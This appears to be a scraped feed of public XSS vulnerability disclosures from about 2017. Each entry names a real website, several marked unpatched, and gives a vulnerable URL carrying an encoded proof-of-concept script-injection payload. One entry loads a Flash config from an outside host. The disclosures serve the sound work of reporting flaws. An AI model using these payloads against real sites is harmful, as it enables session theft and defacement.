aish.fr XSS vulnerability

Vulnerable URL: http://www.aish.fr/search/?keywords=OPENBUGBOUNTY%3Cimg%20Src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E=0=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 983662 V...

avsforum.com XSS vulnerability

Vulnerable URL: http://www.avsforum.com/wordpress/newsletter/signup-error.php?error=Invalid%20email:%20%3Cscript%3Ealert%28%22xssposed%22%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 09:11 GMT Vulnerability type:| XSS...

olympus.com.ru XSS vulnerability

Vulnerable URL: https://www.olympus.com.ru/corporate/ru/presscentre/imagesandmedia/medialibrary.jsp?c=2436=%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E=3 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability...

Bumble: Ability to collect users' ids that have visited a specific web page with malicious code

Hey , Regarding this report 130453 , I'm pretty sure that there's a little misunderstanding of the issue , so please let me clarify the issue a bit more . The issue is not about the disclosure of user's id , that wouldn't be considered an issue at all because every website puts user's id in the...

supermovil.mx XSS vulnerability

Vulnerable URL: https://supermovil.mx/SMovWeb/ploginrsa.do?pagina=1%3CScR%3CScRiPt%3EIpT%3Eprompt%28%2FOPENBUGBOUNTY%2F%29%3C%2FsCr%3CScRiPt%3EIpT%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 09:11 GMT Vulnerability type:| XSS Vulnerabili...

citroen.com.bh XSS vulnerability

Vulnerable URL: http://www.citroen.com.bh/?s=%3C/title%3E%3C/script/%22-alert%280%29-%22--%3E%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 09:10 GMT Vulnerability type:| XSS Vulnerability...

citroen.com.my XSS vulnerability

Vulnerable URL: http://www.citroen.com.my/?s=%3C/title%3E%3C/script/%22-alert%280%29-%22--%3E%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 09:09 GMT Vulnerability type:| XSS Vulnerability...

citroen.co.nz XSS vulnerability

Vulnerable URL: http://www.citroen.co.nz/?s=%3C/title%3E%3C/script/%22-alert%280%29-%22--%3E%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 09:08 GMT Vulnerability type:| XSS Vulnerability...

citroen.com.sg XSS vulnerability

Vulnerable URL: http://www.citroen.com.sg/?s=%3C/title%3E%3C/script/%22-alert%280%29-%22--%3E%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 09:09 GMT Vulnerability type:| XSS Vulnerability...

citroen.is XSS vulnerability

Vulnerable URL: http://www.citroen.is/?s=%3C/title%3E%3C/script/%22-alert%280%29-%22--%3E%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 09:08 GMT Vulnerability type:| XSS Vulnerability status:...

citroen.com.mt XSS vulnerability

Vulnerable URL: http://www.citroen.com.mt/?s=%3C/title%3E%3C/script/%22-alert%280%29-%22--%3E%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 09:08 GMT Vulnerability type:| XSS Vulnerability...

citroen.com.hk XSS vulnerability

Vulnerable URL: http://www.citroen.com.hk/?s=%3C/title%3E%3C/script/%22-alert%280%29-%22--%3E%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 09:08 GMT Vulnerability type:| XSS Vulnerability...

fusacq.com XSS vulnerability

Vulnerable URL: http://www.fusacq.com/authentification.php?from=%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 11:01 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

id.ica.se XSS vulnerability

Vulnerable URL: http://id.ica.se/o2/oauth2.auth?scope=http://id.ica.se/o2/apiuser.details+http://id.ica.se/o2/apiuser.privs=profileuri=http://id.ica.se/brandportal/auth/type=codeid=IcaBPtype=offlineprompt=autoptlid=12086otyid=59426laeid=8 Details: Description| Value ---|--- Patched:| No Latest...

hibiny-land.ru XSS vulnerability

Vulnerable URL: http://hibiny-land.ru/plugins/ecomment.php Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 09:07 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 24174291 VIP website status:| No Check...

fsa.usda.gov XSS vulnerability

Vulnerable URL: http://www.fsa.usda.gov/Internet/FSAFile/eauth4controller.swf?csConfigFile=//nsa.is.spying-on.us/hp.xml Details: Description| Value ---|--- Patched:| Yes, at 19.09.2016 Latest check for patch:| 19.09.2016 00:55 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

notice.achilles.co.uk XSS vulnerability

Vulnerable URL: http://notice.achilles.co.uk/NoticeSupplier/NSNoticeDetails.asp?U=10041594=4817118=FPAL1%22--%3E%3C/script%3E%3Csvg/onload=%27;alert%28/OPENBUGBOUNTY/%29;%27%3E=2057 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS...

media.astate.edu XSS vulnerability

Vulnerable URL: https://media.astate.edu/flv/view.asp?u=kcostello1%22--%3E%3C/script%3E%3Csvg/onload=%27;alert%28/OPENBUGBOUNTY/%29;%27%3E=informationalvideo Details: Description| Value ---|--- Patched:| Yes, at 18.06.2017 Latest check for patch:| 18.06.2017 15:28 GMT Vulnerability type:| XSS...

theteammaxbat.com XSS vulnerability

Vulnerable URL: http://www.theteammaxbat.com/teams/default.asp?u=TEAMXBAT=baseball=custom=West+Chester+16u+Team+Info1%22--%3E%3C/script%3E%3Csvg/onload=%27;alert%28/OPENBUGBOUNTY/%29;%27%3E Details: Description| Value ---|--- Patched:| Yes, at 18.06.2017 Latest check for patch:| 18.06.2017 15:29...

assess.biz XSS vulnerability

Vulnerable URL: http://www.assess.biz/exams/examentry.asp?m=5801%22--%3E%3C/script%3E%3Csvg/onload=%27;alert%28/OPENBUGBOUNTY/%29;%27%3E=290 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...